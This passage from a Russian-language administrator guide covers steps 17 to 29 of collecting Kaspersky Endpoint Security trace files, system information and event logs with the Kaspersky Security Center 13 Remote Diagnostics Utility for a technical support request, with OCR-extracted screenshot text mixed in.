- 17. Перезагрузите Kaspersky Endpoint Security: нажмите ссылку *Restart application*
- 18. Подождите, пока Kaspersky Endpoint Security перезагрузится и внизу окна появится сообщение Operation completed successfully
- 19. Выключите трассировку: нажмите ссылку Disable tracing

- 20. Разверните папку Trace files в узле Kaspersky Endpoint Security 13 for Windows
- 21. Выберите первый в списке файл и нажмите ссылку Download entire file
- 22. Точно так же загрузите остальные файлы из папки **Trace files**





- 23. Загрузите информацию о компьютере: перейдите в узе System Info
- 24. Нажмите ссылку Download Syster Info
- 25. Подобным образ сохраните журна Kaspersky Ever Log и System из папки Event Log
- 26. Нажмите ссылку Download folder левом нижнем у

23.	Загрузите	Kaspersky Security Center 1	3 Remote Diagnostics U	tility			-		×
	информацию о	File Edit View Help							
		🏝   🗙   🖻 🖻   🙋 🗙	E.						
		Download	B ABC\ALEX-DESK	ТОР					^
	Suctor Info		System Info						
	System into	Download System Info	Application set     Event log	tings					
24	Нажмите ссылку		Application	1 					
27.	Download System		Internet E	events plorer					
	Download System		Kaspersky	Endpoint Security					
	INTO		Kaspersky	gement Log					
25	Полобным образом		OAlerts						
20.			System						
	сохраните журналы		Windows	PowerShell					
	Kaspersky Event		Hemote Install     Windows Upd	ation logs ate logs					
	Log и System из		E Kaspersky Sec	curity Center Network Agent					
	папки Event Log			n status: Running					
				atus: Stopped					
26.	Нажмите ссылку		Updater - Kasp	persky Security Center Networ	k Agent				
	Download folder в		Version: 1	3.0.0.11247					v
	левом нижнем углу								
	···· ,··· ,··· ,··· ,··· ,··· ,··· ,··	Download folder							
									-
		\administrator.ABC\De	esktop\Kaspersky 4 1404 WD 2021-0	Security Center 1 5-06T161541.zip"	.3 Remote Diagnostics	Utility\20210506-161	247048	-2924	
		Operation completed a	successfully	-					ł
						(	00-00-00 (	014	T
27	Проверьте что в			20210406-141514082	-4740				
21.				Chara Maria					
			File Hom	e Share View					
	неооходимые		$\leftarrow \rightarrow \cdot \uparrow$	🖌 📙 « Kaspersky Sec	urity Center 13 Remote Di	agnostics Uti > 2021040	6-14151	4082-474	40
	журналы			,	Name	^	Date	modified	ł
			This PC				Dute		
					0001-System		06-Ap	pr-21 14:	16
			Desktop		0002-Kaspersky	Event Log	06-A	pr-21 14:	16
			Kasper	sky Security Center 1	0003-KES.21.3.10	).394_568_SRV_2021-04-0	06-A	pr-21 14:	17
			20210	0406-141313068-5548	0004-KES.21.3.10	).394_2080_connector_20	06-A	pr-21 14:	17
			20210	0406-141514082-4740	0005-KES.21.3.10	).394_1328_WD_2021-04	06-A	pr-21 14:	17
			000	1-System	0006-KES.21.3.10	).394_1328_WD_2021-04	06-A	pr-21 14:	17
			000	2-Kaspersky Event I o	0007-KES.21.3.10	).394_1020.GUI2021-04	06-A	pr-21 14:	17
			000		0008-Kaspersky	Event Log	06-A	pr-21 14:	17
			000	3-KES.21.3.10.394_008	0009-settings		06-A	pr-21 14:	17
			000	4-KES.21.3.10.394_208					
			000	5-KES.21.3.10.394_132 \	4				
28	Закройте утипиту			Kaspersky Security C	Center 13 Remote Diagn	ostics Utility			×
20.									
	диагностики								
29	Не удаляйте палку с			Delete d	ownload folder	skton Vacnarsky Sacurity	Conto	- 12	
-0.				Remote	Diagnostics Utility\2021	0406-141514082-4740' wi	th all it	ts	
				contents	s?				
	нажмите <b>по</b>								
					Yes	No	Can	icel	

#### Заключение

Вы загрузили с компьютера журналы трассировки Kaspersky Endpoint Security и информацию о системе. Добавьте эти журналы, когда будете создавать запрос в техническую поддержку.

Используйте утилиту диагностики, если нужно получить журналы Агента администрирования или модуля обновления, чтобы загрузить журналы установки, а также чтобы включать и выключать трассировку Сервера администрирования.

v.1.4